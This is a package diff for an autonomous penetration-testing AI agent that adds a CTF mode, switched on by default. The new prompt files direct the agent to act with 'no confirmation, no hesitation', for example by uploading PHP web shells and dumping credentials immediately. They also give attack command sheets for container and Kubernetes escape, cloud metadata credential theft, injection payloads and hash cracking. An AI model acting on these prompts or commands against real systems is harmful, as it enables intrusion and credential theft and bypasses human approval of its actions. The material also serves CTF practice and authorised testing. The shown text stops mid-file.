pentesting 0.21.10 → 0.22.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/main.js +131 -10
- package/dist/prompts/ctf-mode.md +97 -0
- package/dist/prompts/techniques/container-escape.md +103 -0
- package/dist/prompts/techniques/crypto.md +76 -0
- package/dist/prompts/techniques/forensics.md +89 -0
- package/dist/prompts/techniques/pwn.md +126 -0
- package/package.json +1 -1
package/dist/main.js
CHANGED
|
@@ -157,7 +157,7 @@ var EXIT_CODES = {
|
|
|
157
157
|
var ID_LENGTH = AGENT_LIMITS.ID_LENGTH;
|
|
158
158
|
var ID_RADIX = AGENT_LIMITS.ID_RADIX;
|
|
159
159
|
var APP_NAME = "Pentest AI";
|
|
160
|
-
var APP_VERSION = "0.
|
|
160
|
+
var APP_VERSION = "0.22.0";
|
|
161
161
|
var APP_DESCRIPTION = "Autonomous Penetration Testing AI Agent";
|
|
162
162
|
var LLM_ROLES = {
|
|
163
163
|
SYSTEM: "system",
|
|
@@ -406,7 +406,8 @@ var EVENT_TYPES = {
|
|
|
406
406
|
RETRY: "retry",
|
|
407
407
|
USAGE_UPDATE: "usage_update",
|
|
408
408
|
INPUT_REQUEST: "input_request",
|
|
409
|
-
LOG: "log"
|
|
409
|
+
LOG: "log",
|
|
410
|
+
FLAG_FOUND: "flag_found"
|
|
410
411
|
};
|
|
411
412
|
var UI_COMMANDS = {
|
|
412
413
|
HELP: "help",
|
|
@@ -423,6 +424,7 @@ var UI_COMMANDS = {
|
|
|
423
424
|
ASSETS_SHORT: "a",
|
|
424
425
|
LOGS: "logs",
|
|
425
426
|
LOGS_SHORT: "l",
|
|
427
|
+
CTF: "ctf",
|
|
426
428
|
EXIT: "exit",
|
|
427
429
|
QUIT: "quit",
|
|
428
430
|
EXIT_SHORT: "q"
|
|
@@ -1977,6 +1979,16 @@ var StateSerializer = class {
|
|
|
1977
1979
|
if (resourceInfo) {
|
|
1978
1980
|
lines.push(resourceInfo);
|
|
1979
1981
|
}
|
|
1982
|
+
if (state.isCtfMode()) {
|
|
1983
|
+
lines.push(`Mode: CTF \u{1F3F4}`);
|
|
1984
|
+
const flags = state.getFlags();
|
|
1985
|
+
if (flags.length > 0) {
|
|
1986
|
+
lines.push(`Flags Found (${flags.length}):`);
|
|
1987
|
+
for (const f of flags) {
|
|
1988
|
+
lines.push(` \u{1F3F4} ${f}`);
|
|
1989
|
+
}
|
|
1990
|
+
}
|
|
1991
|
+
}
|
|
1980
1992
|
lines.push(`Phase: ${state.getPhase()}`);
|
|
1981
1993
|
return lines.join("\n");
|
|
1982
1994
|
}
|
|
@@ -1995,7 +2007,10 @@ var SharedState = class {
|
|
|
1995
2007
|
actionLog: [],
|
|
1996
2008
|
currentPhase: PHASES.RECON,
|
|
1997
2009
|
missionSummary: "",
|
|
1998
|
-
missionChecklist: []
|
|
2010
|
+
missionChecklist: [],
|
|
2011
|
+
ctfMode: true,
|
|
2012
|
+
// CTF mode ON by default
|
|
2013
|
+
flags: []
|
|
1999
2014
|
};
|
|
2000
2015
|
}
|
|
2001
2016
|
// --- Mission & Persistent Context ---
|
|
@@ -2135,6 +2150,21 @@ var SharedState = class {
|
|
|
2135
2150
|
getPhase() {
|
|
2136
2151
|
return this.data.currentPhase;
|
|
2137
2152
|
}
|
|
2153
|
+
// --- CTF Mode ---
|
|
2154
|
+
setCtfMode(enabled) {
|
|
2155
|
+
this.data.ctfMode = enabled;
|
|
2156
|
+
}
|
|
2157
|
+
isCtfMode() {
|
|
2158
|
+
return this.data.ctfMode;
|
|
2159
|
+
}
|
|
2160
|
+
addFlag(flag) {
|
|
2161
|
+
if (this.data.flags.includes(flag)) return false;
|
|
2162
|
+
this.data.flags.push(flag);
|
|
2163
|
+
return true;
|
|
2164
|
+
}
|
|
2165
|
+
getFlags() {
|
|
2166
|
+
return this.data.flags;
|
|
2167
|
+
}
|
|
2138
2168
|
/**
|
|
2139
2169
|
* @remarks
|
|
2140
2170
|
* WHY: Delegating complex string builder to specialized serializer.
|
|
@@ -6800,6 +6830,35 @@ function loadState(state) {
|
|
|
6800
6830
|
}
|
|
6801
6831
|
}
|
|
6802
6832
|
|
|
6833
|
+
// src/shared/utils/ctf-knowledge.ts
|
|
6834
|
+
var FLAG_PATTERNS = {
|
|
6835
|
+
// Generic CTF flag formats
|
|
6836
|
+
generic: /flag\{[^}]+\}/gi,
|
|
6837
|
+
curly_upper: /FLAG\{[^}]+\}/g,
|
|
6838
|
+
// Platform-specific
|
|
6839
|
+
htb: /HTB\{[^}]+\}/g,
|
|
6840
|
+
thm: /THM\{[^}]+\}/g,
|
|
6841
|
+
picoCTF: /picoCTF\{[^}]+\}/g,
|
|
6842
|
+
ctfd_generic: /[A-Z]{2,10}\{[^}]+\}/g,
|
|
6843
|
+
// Hash-style flags (HTB user.txt / root.txt — 32-char hex)
|
|
6844
|
+
hash_flag: /\b[a-f0-9]{32}\b/g,
|
|
6845
|
+
// Base64-encoded flag detection (common in steganography/forensics)
|
|
6846
|
+
base64_flag: /flag\{[A-Za-z0-9_+\-/=]+\}/gi
|
|
6847
|
+
};
|
|
6848
|
+
var MIN_FLAG_SCAN_LENGTH = 5;
|
|
6849
|
+
function detectFlags(output) {
|
|
6850
|
+
if (!output || output.length < MIN_FLAG_SCAN_LENGTH) return [];
|
|
6851
|
+
const found = /* @__PURE__ */ new Set();
|
|
6852
|
+
for (const pattern of Object.values(FLAG_PATTERNS)) {
|
|
6853
|
+
pattern.lastIndex = 0;
|
|
6854
|
+
const matches = output.match(pattern);
|
|
6855
|
+
if (matches) {
|
|
6856
|
+
for (const m of matches) found.add(m);
|
|
6857
|
+
}
|
|
6858
|
+
}
|
|
6859
|
+
return Array.from(found);
|
|
6860
|
+
}
|
|
6861
|
+
|
|
6803
6862
|
// src/agents/core-agent.ts
|
|
6804
6863
|
var CoreAgent = class _CoreAgent {
|
|
6805
6864
|
llm;
|
|
@@ -7223,6 +7282,7 @@ Please decide how to handle this error and continue.`;
|
|
|
7223
7282
|
}
|
|
7224
7283
|
}
|
|
7225
7284
|
this.emitToolResult(call.name, result2.success, outputText, result2.error, Date.now() - toolStartTime);
|
|
7285
|
+
this.scanForFlags(outputText);
|
|
7226
7286
|
return { toolCallId: call.id, output: outputText, error: result2.error };
|
|
7227
7287
|
} catch (error) {
|
|
7228
7288
|
const errorMsg = String(error);
|
|
@@ -7311,6 +7371,35 @@ Please decide how to handle this error and continue.`;
|
|
|
7311
7371
|
}));
|
|
7312
7372
|
}
|
|
7313
7373
|
// ─────────────────────────────────────────────────────────────────
|
|
7374
|
+
// SUBSECTION: CTF Flag Detection
|
|
7375
|
+
// ─────────────────────────────────────────────────────────────────
|
|
7376
|
+
/**
|
|
7377
|
+
* Scan tool output for CTF flag patterns.
|
|
7378
|
+
* When a new flag is detected, store it in state and emit event.
|
|
7379
|
+
*
|
|
7380
|
+
* @remarks
|
|
7381
|
+
* WHY: Automatic flag detection eliminates manual flag hunting in CTF competitions.
|
|
7382
|
+
* Called after every tool execution — zero overhead when CTF mode is OFF.
|
|
7383
|
+
*/
|
|
7384
|
+
scanForFlags(output) {
|
|
7385
|
+
if (!this.state.isCtfMode()) return;
|
|
7386
|
+
const flags = detectFlags(output);
|
|
7387
|
+
for (const flag of flags) {
|
|
7388
|
+
const isNew = this.state.addFlag(flag);
|
|
7389
|
+
if (isNew) {
|
|
7390
|
+
this.events.emit({
|
|
7391
|
+
type: EVENT_TYPES.FLAG_FOUND,
|
|
7392
|
+
timestamp: Date.now(),
|
|
7393
|
+
data: {
|
|
7394
|
+
flag,
|
|
7395
|
+
totalFlags: this.state.getFlags().length,
|
|
7396
|
+
phase: this.state.getPhase()
|
|
7397
|
+
}
|
|
7398
|
+
});
|
|
7399
|
+
}
|
|
7400
|
+
}
|
|
7401
|
+
}
|
|
7402
|
+
// ─────────────────────────────────────────────────────────────────
|
|
7314
7403
|
// SUBSECTION: Abort Helpers
|
|
7315
7404
|
// ─────────────────────────────────────────────────────────────────
|
|
7316
7405
|
isAbortError(error) {
|
|
@@ -7334,6 +7423,7 @@ import { fileURLToPath as fileURLToPath5 } from "url";
|
|
|
7334
7423
|
// src/shared/constants/prompts.ts
|
|
7335
7424
|
var PROMPT_PATHS = {
|
|
7336
7425
|
BASE: "base.md",
|
|
7426
|
+
CTF_MODE: "ctf-mode.md",
|
|
7337
7427
|
AGENT_FILES: {
|
|
7338
7428
|
ORCHESTRATOR: "orchestrator.md",
|
|
7339
7429
|
RECON: "recon.md",
|
|
@@ -7413,15 +7503,15 @@ var CORE_KNOWLEDGE_FILES = [
|
|
|
7413
7503
|
// Detection avoidance (always relevant)
|
|
7414
7504
|
];
|
|
7415
7505
|
var PHASE_TECHNIQUE_MAP = {
|
|
7416
|
-
[PHASES.RECON]: ["network-svc", "shells"],
|
|
7417
|
-
[PHASES.VULN_ANALYSIS]: ["injection", "network-svc", "file-attacks"],
|
|
7418
|
-
[PHASES.EXPLOIT]: ["injection", "shells", "file-attacks", "network-svc"],
|
|
7419
|
-
[PHASES.POST_EXPLOIT]: ["privesc", "lateral", "auth-access", "shells"],
|
|
7420
|
-
[PHASES.PRIV_ESC]: ["privesc", "auth-access", "shells"],
|
|
7421
|
-
[PHASES.LATERAL]: ["lateral", "ad-attack", "auth-access"],
|
|
7506
|
+
[PHASES.RECON]: ["network-svc", "shells", "crypto"],
|
|
7507
|
+
[PHASES.VULN_ANALYSIS]: ["injection", "network-svc", "file-attacks", "crypto"],
|
|
7508
|
+
[PHASES.EXPLOIT]: ["injection", "shells", "file-attacks", "network-svc", "pwn", "container-escape"],
|
|
7509
|
+
[PHASES.POST_EXPLOIT]: ["privesc", "lateral", "auth-access", "shells", "container-escape"],
|
|
7510
|
+
[PHASES.PRIV_ESC]: ["privesc", "auth-access", "shells", "pwn", "container-escape"],
|
|
7511
|
+
[PHASES.LATERAL]: ["lateral", "ad-attack", "auth-access", "container-escape"],
|
|
7422
7512
|
[PHASES.PERSISTENCE]: ["shells", "privesc"],
|
|
7423
7513
|
[PHASES.EXFIL]: ["lateral", "network-svc"],
|
|
7424
|
-
[PHASES.WEB]: ["injection", "file-attacks", "auth-access"],
|
|
7514
|
+
[PHASES.WEB]: ["injection", "file-attacks", "auth-access", "crypto"],
|
|
7425
7515
|
[PHASES.REPORT]: []
|
|
7426
7516
|
// Report phase needs no attack techniques
|
|
7427
7517
|
};
|
|
@@ -7446,6 +7536,7 @@ var PromptBuilder = class {
|
|
|
7446
7536
|
build(userInput, phase) {
|
|
7447
7537
|
const fragments = [
|
|
7448
7538
|
this.loadPromptFile(PROMPT_PATHS.BASE),
|
|
7539
|
+
this.loadCtfModePrompt(),
|
|
7449
7540
|
this.loadPhasePrompt(phase),
|
|
7450
7541
|
this.loadCoreKnowledge(phase),
|
|
7451
7542
|
this.loadPhaseRelevantTechniques(phase),
|
|
@@ -7456,6 +7547,17 @@ var PromptBuilder = class {
|
|
|
7456
7547
|
];
|
|
7457
7548
|
return fragments.filter((f) => !!f).join("\n\n");
|
|
7458
7549
|
}
|
|
7550
|
+
/**
|
|
7551
|
+
* Load CTF mode prompt when CTF mode is active.
|
|
7552
|
+
* Adds ~3K tokens of CTF-specific strategy and flag hunting protocol.
|
|
7553
|
+
*/
|
|
7554
|
+
loadCtfModePrompt() {
|
|
7555
|
+
if (!this.state.isCtfMode()) return "";
|
|
7556
|
+
const content = this.loadPromptFile(PROMPT_PATHS.CTF_MODE);
|
|
7557
|
+
return content ? `<ctf-mode active="true">
|
|
7558
|
+
${content}
|
|
7559
|
+
</ctf-mode>` : "";
|
|
7560
|
+
}
|
|
7459
7561
|
/**
|
|
7460
7562
|
* Load a prompt file from src/agents/prompts/
|
|
7461
7563
|
*/
|
|
@@ -7649,6 +7751,14 @@ var MainAgent = class extends CoreAgent {
|
|
|
7649
7751
|
getEventEmitter() {
|
|
7650
7752
|
return this.events;
|
|
7651
7753
|
}
|
|
7754
|
+
toggleCtfMode() {
|
|
7755
|
+
const newState = !this.state.isCtfMode();
|
|
7756
|
+
this.state.setCtfMode(newState);
|
|
7757
|
+
return newState;
|
|
7758
|
+
}
|
|
7759
|
+
isCtfMode() {
|
|
7760
|
+
return this.state.isCtfMode();
|
|
7761
|
+
}
|
|
7652
7762
|
setScope(allowed, exclusions = []) {
|
|
7653
7763
|
this.state.setScope({
|
|
7654
7764
|
allowedCidrs: allowed.filter((a) => a.includes("/")),
|
|
@@ -7983,6 +8093,7 @@ var HELP_TEXT = `
|
|
|
7983
8093
|
/findings Show discovered vulnerabilities
|
|
7984
8094
|
/assets List active background processes (listeners, shells)
|
|
7985
8095
|
/logs <id> Show full logs for a specific asset
|
|
8096
|
+
/ctf Toggle CTF mode (default: ON)
|
|
7986
8097
|
/auto Toggle auto-approve mode
|
|
7987
8098
|
/clear Clear screen
|
|
7988
8099
|
/exit Exit
|
|
@@ -7991,11 +8102,13 @@ var HELP_TEXT = `
|
|
|
7991
8102
|
\u2022 Auto-install missing tools (apt/brew)
|
|
7992
8103
|
\u2022 Transparent command execution
|
|
7993
8104
|
\u2022 Interactive sudo password input
|
|
8105
|
+
\u2022 CTF mode: Auto flag detection & CTF-specific prompts
|
|
7994
8106
|
|
|
7995
8107
|
\u2500\u2500 Examples \u2500\u2500
|
|
7996
8108
|
/target 192.168.1.1
|
|
7997
8109
|
/start "Full pentest on target"
|
|
7998
8110
|
/findings
|
|
8111
|
+
/ctf (toggle CTF/standard mode)
|
|
7999
8112
|
/auto (toggle approval mode)
|
|
8000
8113
|
`;
|
|
8001
8114
|
|
|
@@ -8140,6 +8253,9 @@ var useAgentEvents = (agent, eventsRef, state) => {
|
|
|
8140
8253
|
lastStepTokensRef.current = stepTokens;
|
|
8141
8254
|
setCurrentTokens(tokenAccumRef.current + stepTokens);
|
|
8142
8255
|
};
|
|
8256
|
+
const onFlagFound = (e) => {
|
|
8257
|
+
addMessage("system", `\u{1F3F4} FLAG FOUND: ${e.data.flag} (total: ${e.data.totalFlags})`);
|
|
8258
|
+
};
|
|
8143
8259
|
setInputHandler((p) => {
|
|
8144
8260
|
return new Promise((resolve) => {
|
|
8145
8261
|
const isPassword = /password|passphrase/i.test(p);
|
|
@@ -8192,6 +8308,7 @@ var useAgentEvents = (agent, eventsRef, state) => {
|
|
|
8192
8308
|
events.on(EVENT_TYPES.ERROR, onError);
|
|
8193
8309
|
events.on(EVENT_TYPES.RETRY, onRetry);
|
|
8194
8310
|
events.on(EVENT_TYPES.USAGE_UPDATE, onUsageUpdate);
|
|
8311
|
+
events.on(EVENT_TYPES.FLAG_FOUND, onFlagFound);
|
|
8195
8312
|
events.on(EVENT_TYPES.STATE_CHANGE, updateStats);
|
|
8196
8313
|
events.on(EVENT_TYPES.START, updateStats);
|
|
8197
8314
|
updateStats();
|
|
@@ -8812,6 +8929,10 @@ var App = ({ autoApprove = false, target }) => {
|
|
|
8812
8929
|
${procData.stdout || "(no output)"}
|
|
8813
8930
|
--- End Log ---`);
|
|
8814
8931
|
break;
|
|
8932
|
+
case UI_COMMANDS.CTF:
|
|
8933
|
+
const ctfEnabled = agent.toggleCtfMode();
|
|
8934
|
+
addMessage("system", ctfEnabled ? "\u{1F3F4} CTF mode ON \u2014 flag detection active, CTF prompts loaded" : "\u{1F512} CTF mode OFF \u2014 standard pentest mode");
|
|
8935
|
+
break;
|
|
8815
8936
|
case "auto":
|
|
8816
8937
|
setAutoApproveMode((prev) => {
|
|
8817
8938
|
const newVal = !prev;
|
|
@@ -0,0 +1,97 @@
|
|
|
1
|
+
# CTF Competition Mode — Active
|
|
2
|
+
|
|
3
|
+
You are in **CTF mode**. This changes your behavior in key ways vs standard pentesting.
|
|
4
|
+
|
|
5
|
+
## CTF vs Standard Pentest — Behavioral Shifts
|
|
6
|
+
|
|
7
|
+
| Aspect | Standard Pentest | CTF Mode (YOU NOW) |
|
|
8
|
+
|--------|------------------|-------------------|
|
|
9
|
+
| Goal | Find vulnerabilities | **Find FLAGS** |
|
|
10
|
+
| Stealth | Essential | **Not needed — GO LOUD** |
|
|
11
|
+
| Time | Days/weeks | **Hours — SPEED IS EVERYTHING** |
|
|
12
|
+
| Clues | None | **Creators leave breadcrumbs — READ THEM** |
|
|
13
|
+
| Vulnerabilities | May not exist | **ALWAYS exist — keep looking** |
|
|
14
|
+
|
|
15
|
+
## 🏴 Flag Hunting Protocol — MANDATORY After Every Access Change
|
|
16
|
+
|
|
17
|
+
**After EVERY privilege change (new shell, new user, root access):**
|
|
18
|
+
```
|
|
19
|
+
PARALLEL immediately:
|
|
20
|
+
1. find / -maxdepth 4 \( -name 'flag*' -o -name 'user.txt' -o -name 'root.txt' -o -name 'proof.txt' \) 2>/dev/null
|
|
21
|
+
2. grep -ri 'flag{' /home /root /opt /var/www /tmp /srv 2>/dev/null | head -20
|
|
22
|
+
3. env | grep -i flag
|
|
23
|
+
4. Check databases: SELECT * FROM flags; or equivalent
|
|
24
|
+
5. cat /root/root.txt /home/*/user.txt 2>/dev/null
|
|
25
|
+
```
|
|
26
|
+
|
|
27
|
+
**On Windows targets:**
|
|
28
|
+
```
|
|
29
|
+
dir /s /b C:\*flag* C:\*user.txt C:\*root.txt 2>nul
|
|
30
|
+
type C:\Users\Administrator\Desktop\root.txt 2>nul
|
|
31
|
+
type C:\Users\*\Desktop\user.txt 2>nul
|
|
32
|
+
```
|
|
33
|
+
|
|
34
|
+
## 🕵️ CTF Breadcrumb Detection
|
|
35
|
+
|
|
36
|
+
CTF challenge creators ALWAYS leave clues. Look for them:
|
|
37
|
+
- **README files** in web directories or home folders
|
|
38
|
+
- **Unusual filenames** — anything that doesn't belong on a standard system
|
|
39
|
+
- **Comments in source code** — HTML comments, JS comments, CSS comments
|
|
40
|
+
- **Hints in error messages** — custom error pages often contain hints
|
|
41
|
+
- **robots.txt** — disallowed paths are INTENTIONAL hints
|
|
42
|
+
- **Custom HTTP headers** — X-Flag, X-Hint, X-Secret
|
|
43
|
+
- **Base64 strings** in unusual places — decode them
|
|
44
|
+
- **Steganography markers** — unusual file sizes, EXIF data
|
|
45
|
+
|
|
46
|
+
## ⚡ CTF Speed Optimization
|
|
47
|
+
|
|
48
|
+
### Parallel Everything
|
|
49
|
+
```
|
|
50
|
+
Turn 1 (ALWAYS):
|
|
51
|
+
├── nmap -sV -sC -T4 --min-rate=1000 -p- <target> (background)
|
|
52
|
+
├── nmap -sU --top-ports=50 -T4 <target> (background)
|
|
53
|
+
├── web_search("<target> CTF writeup") — check for existing writeups
|
|
54
|
+
└── If web port: gobuster/ffuf directory enumeration (background)
|
|
55
|
+
```
|
|
56
|
+
|
|
57
|
+
### No Confirmation, No Hesitation
|
|
58
|
+
- See a login form? Try admin:admin, admin:password, guest:guest IMMEDIATELY
|
|
59
|
+
- See a file upload? Upload a PHP web shell IMMEDIATELY
|
|
60
|
+
- See a version number? Search for exploits IMMEDIATELY
|
|
61
|
+
- See source code? Read EVERY line for hardcoded secrets
|
|
62
|
+
- See a database? Dump credentials table IMMEDIATELY
|
|
63
|
+
|
|
64
|
+
### Time Boxes — Don't Get Stuck
|
|
65
|
+
- **5 minutes** on any single attack vector. If no progress → MOVE ON
|
|
66
|
+
- **15 minutes** on any single service. If no progress → different service
|
|
67
|
+
- Never spend time "planning" — ACT and learn from results
|
|
68
|
+
- If stuck for 10+ minutes → `web_search("{service} CTF writeup hacktricks")`
|
|
69
|
+
|
|
70
|
+
## 🎯 CTF Common Vulnerability Checklist
|
|
71
|
+
|
|
72
|
+
Try these IN ORDER for every web application (highest probability first):
|
|
73
|
+
1. **Source code disclosure** — view-source, .git, .bak, .swp, robots.txt
|
|
74
|
+
2. **Default credentials** — admin:admin, then web_search("{application} default password")
|
|
75
|
+
3. **SQL Injection** — ' OR 1=1--, ' UNION SELECT, sqlmap --batch
|
|
76
|
+
4. **SSTI** — {{7*7}}, ${7*7}, #{7*7}, <%=7*7%>
|
|
77
|
+
5. **Command Injection** — ;id, |id, $(id), `id`
|
|
78
|
+
6. **File inclusion** — ../../../../etc/passwd, php://filter
|
|
79
|
+
7. **JWT attacks** — algorithm none, weak secret, kid injection
|
|
80
|
+
8. **Deserialization** — PHP (O:...), Java (rO0...), Python pickle
|
|
81
|
+
9. **SSRF** — http://169.254.169.254, http://localhost
|
|
82
|
+
10. **Race condition** — concurrent requests to same endpoint
|
|
83
|
+
|
|
84
|
+
## 🔍 Flag Format Awareness
|
|
85
|
+
|
|
86
|
+
The system automatically detects flags in tool output. Common formats:
|
|
87
|
+
- `flag{...}` — generic
|
|
88
|
+
- `HTB{...}` — HackTheBox
|
|
89
|
+
- `THM{...}` — TryHackMe
|
|
90
|
+
- `picoCTF{...}` — PicoCTF
|
|
91
|
+
- 32-char hex hash — HTB user.txt/root.txt
|
|
92
|
+
- `XXXX{...}` — custom CTF format
|
|
93
|
+
|
|
94
|
+
When a flag is detected, it is **automatically recorded**. But also:
|
|
95
|
+
- Check if the flag needs to be submitted to a scoreboard
|
|
96
|
+
- Some CTFs have multiple flags per challenge — keep hunting after first flag
|
|
97
|
+
- Flags may be encoded (base64, hex, rot13) — decode suspicious strings
|
|
@@ -0,0 +1,103 @@
|
|
|
1
|
+
# Container Escape & Cloud Attack Techniques
|
|
2
|
+
|
|
3
|
+
## Docker Container Detection
|
|
4
|
+
```
|
|
5
|
+
Am I in a container?
|
|
6
|
+
├── cat /proc/1/cgroup → contains "docker" or container ID?
|
|
7
|
+
├── ls /.dockerenv → exists = Docker container
|
|
8
|
+
├── hostname → random hex string = likely container
|
|
9
|
+
├── mount | grep overlay → overlay filesystem = container
|
|
10
|
+
├── cat /proc/self/status | grep CapEff → limited capabilities?
|
|
11
|
+
└── env | grep -i docker → Docker-related env vars?
|
|
12
|
+
```
|
|
13
|
+
|
|
14
|
+
## Docker Escape Techniques
|
|
15
|
+
```
|
|
16
|
+
1. Privileged container (--privileged):
|
|
17
|
+
├── Full device access → mount host filesystem
|
|
18
|
+
│ mkdir /mnt/host && mount /dev/sda1 /mnt/host
|
|
19
|
+
│ cat /mnt/host/root/root.txt
|
|
20
|
+
├── nsenter: nsenter --target 1 --mount --uts --ipc --net --pid
|
|
21
|
+
└── Load kernel module: insmod backdoor.ko
|
|
22
|
+
|
|
23
|
+
2. Docker socket mounted (-v /var/run/docker.sock):
|
|
24
|
+
├── docker -H unix:///var/run/docker.sock ps
|
|
25
|
+
├── Create privileged container:
|
|
26
|
+
│ docker run -it --privileged --pid=host -v /:/host ubuntu chroot /host
|
|
27
|
+
└── Access host filesystem through new container
|
|
28
|
+
|
|
29
|
+
3. Dangerous capabilities:
|
|
30
|
+
├── CAP_SYS_ADMIN → mount host devices, use nsenter
|
|
31
|
+
├── CAP_SYS_PTRACE → process injection, debug host processes
|
|
32
|
+
├── CAP_NET_ADMIN → ARP spoof, network manipulation
|
|
33
|
+
├── CAP_DAC_READ_SEARCH → read any file
|
|
34
|
+
└── Check: capsh --print | grep Current
|
|
35
|
+
|
|
36
|
+
4. Writable host paths:
|
|
37
|
+
├── If anything is mounted from host (-v /hostpath:/container):
|
|
38
|
+
│ Write to that path to affect host
|
|
39
|
+
├── Common: /var/log, /tmp, /opt, config directories
|
|
40
|
+
└── Write crontab/SSH key to mounted host path
|
|
41
|
+
|
|
42
|
+
5. Kernel exploits:
|
|
43
|
+
├── Container shares kernel with host
|
|
44
|
+
├── uname -r → search for kernel CVEs
|
|
45
|
+
├── CVE-2022-0847 (DirtyPipe)
|
|
46
|
+
├── CVE-2022-0185 (fsconfig heap overflow)
|
|
47
|
+
└── CVE-2024-21626 (runc breakout via /proc/self/fd)
|
|
48
|
+
|
|
49
|
+
6. Docker API (2375/2376):
|
|
50
|
+
├── Unauthenticated Docker API = instant host compromise
|
|
51
|
+
├── docker -H tcp://<target>:2375 ps
|
|
52
|
+
└── Create privileged container mounting host /
|
|
53
|
+
```
|
|
54
|
+
|
|
55
|
+
## Kubernetes Escape
|
|
56
|
+
```
|
|
57
|
+
1. Service account token:
|
|
58
|
+
├── cat /var/run/secrets/kubernetes.io/serviceaccount/token
|
|
59
|
+
├── Use token to query API: curl -sk https://kubernetes.default.svc/api/v1/
|
|
60
|
+
├── Enumerate permissions: kubectl auth can-i --list
|
|
61
|
+
└── If can create pods → privileged pod escape
|
|
62
|
+
|
|
63
|
+
2. Privileged pod:
|
|
64
|
+
├── Create pod with hostPID, hostNetwork, privileged: true
|
|
65
|
+
├── Mount host filesystem: volumeMounts hostPath /
|
|
66
|
+
└── nsenter --target 1 --mount --uts --ipc --net --pid bash
|
|
67
|
+
|
|
68
|
+
3. etcd access:
|
|
69
|
+
├── etcd often unauthenticated on port 2379
|
|
70
|
+
├── Contains ALL K8s secrets: etcdctl get --prefix /registry/secrets
|
|
71
|
+
└── Includes service account tokens, DB passwords, etc.
|
|
72
|
+
|
|
73
|
+
4. Common K8s misconfigs:
|
|
74
|
+
├── Dashboard without auth (port 8443/30000)
|
|
75
|
+
├── Tiller (Helm v2) without auth → arbitrary K8s operations
|
|
76
|
+
├── Kubelet API (10250) without auth → exec into any pod
|
|
77
|
+
│ curl -sk https://<node>:10250/pods
|
|
78
|
+
│ curl -sk https://<node>:10250/exec/<ns>/<pod>/<container> -d "cmd=id"
|
|
79
|
+
└── RBAC misconfiguration → escalate to cluster-admin
|
|
80
|
+
```
|
|
81
|
+
|
|
82
|
+
## Cloud Metadata
|
|
83
|
+
```
|
|
84
|
+
Cloud metadata endpoints (SSRF targets):
|
|
85
|
+
├── AWS: http://169.254.169.254/latest/meta-data/
|
|
86
|
+
│ ├── /iam/security-credentials/ → IAM role credentials
|
|
87
|
+
│ ├── /user-data → startup scripts (often contain secrets)
|
|
88
|
+
│ └── IMDSv2: TOKEN=$(curl -X PUT http://169.254.169.254/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
|
89
|
+
│ curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/
|
|
90
|
+
├── GCP: http://metadata.google.internal/computeMetadata/v1/
|
|
91
|
+
│ └── Requires header: Metadata-Flavor: Google
|
|
92
|
+
├── Azure: http://169.254.169.254/metadata/instance?api-version=2021-02-01
|
|
93
|
+
│ └── Requires header: Metadata: true
|
|
94
|
+
└── DigitalOcean: http://169.254.169.254/metadata/v1/
|
|
95
|
+
|
|
96
|
+
Post-exploitation with cloud creds:
|
|
97
|
+
├── AWS: Configure aws cli → enumerate IAM, S3, Lambda, EC2
|
|
98
|
+
│ aws sts get-caller-identity
|
|
99
|
+
│ aws s3 ls
|
|
100
|
+
│ aws iam list-users
|
|
101
|
+
├── GCP: gcloud auth activate-service-account → enumerate
|
|
102
|
+
└── Azure: az login → enumerate resources
|
|
103
|
+
```
|
|
@@ -0,0 +1,76 @@
|
|
|
1
|
+
# Cryptography Attack Techniques
|
|
2
|
+
|
|
3
|
+
## Hash Cracking
|
|
4
|
+
```
|
|
5
|
+
Identify hash type:
|
|
6
|
+
├── hashid <hash> OR hash-identifier
|
|
7
|
+
├── Online: hashes.com, crackstation.net
|
|
8
|
+
└── hashcat --example-hashes | grep -B1 <hash_start>
|
|
9
|
+
|
|
10
|
+
Crack with hashcat:
|
|
11
|
+
├── MD5: hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
|
|
12
|
+
├── SHA1: hashcat -m 100 hash.txt rockyou.txt
|
|
13
|
+
├── SHA256: hashcat -m 1400 hash.txt rockyou.txt
|
|
14
|
+
├── bcrypt: hashcat -m 3200 hash.txt rockyou.txt
|
|
15
|
+
├── NTLM: hashcat -m 1000 hash.txt rockyou.txt
|
|
16
|
+
├── Kerberos TGS: hashcat -m 13100 hash.txt rockyou.txt
|
|
17
|
+
├── NetNTLMv2: hashcat -m 5600 hash.txt rockyou.txt
|
|
18
|
+
└── With rules: hashcat -m 0 hash.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
|
|
19
|
+
|
|
20
|
+
John the Ripper:
|
|
21
|
+
├── john --wordlist=rockyou.txt hash.txt
|
|
22
|
+
├── john --show hash.txt
|
|
23
|
+
└── john --rules=All hash.txt
|
|
24
|
+
```
|
|
25
|
+
|
|
26
|
+
## RSA Attacks
|
|
27
|
+
```
|
|
28
|
+
When you find RSA parameters (n, e, c, p, q):
|
|
29
|
+
|
|
30
|
+
Small n → factor with:
|
|
31
|
+
├── factordb.com (online)
|
|
32
|
+
├── RsaCtfTool: python3 RsaCtfTool.py -n <n> -e <e> --uncipher <c>
|
|
33
|
+
└── yafu: yafu "factor(n)"
|
|
34
|
+
|
|
35
|
+
Common RSA weaknesses:
|
|
36
|
+
├── Small e (e=3) → cube root attack
|
|
37
|
+
├── Common modulus → shared p or q between keys
|
|
38
|
+
├── Wiener's attack → small d (large e)
|
|
39
|
+
├── Hastad's broadcast → same m encrypted with different n, same small e
|
|
40
|
+
├── Bleichenbacher → padding oracle on PKCS#1 v1.5
|
|
41
|
+
├── Fermat factoring → p and q close together
|
|
42
|
+
└── Twin prime → p = q ± 2
|
|
43
|
+
|
|
44
|
+
Python template:
|
|
45
|
+
from Crypto.Util.number import *
|
|
46
|
+
n, e, c = ...
|
|
47
|
+
# After finding p, q:
|
|
48
|
+
phi = (p-1)*(q-1)
|
|
49
|
+
d = inverse(e, phi)
|
|
50
|
+
m = pow(c, d, n)
|
|
51
|
+
print(long_to_bytes(m))
|
|
52
|
+
```
|
|
53
|
+
|
|
54
|
+
## Classical Ciphers
|
|
55
|
+
```
|
|
56
|
+
Common in CTF misc/crypto:
|
|
57
|
+
├── Caesar/ROT13: Try all 26 shifts → dcode.fr/caesar-cipher
|
|
58
|
+
├── Vigenère: Key analysis → dcode.fr/vigenere-cipher
|
|
59
|
+
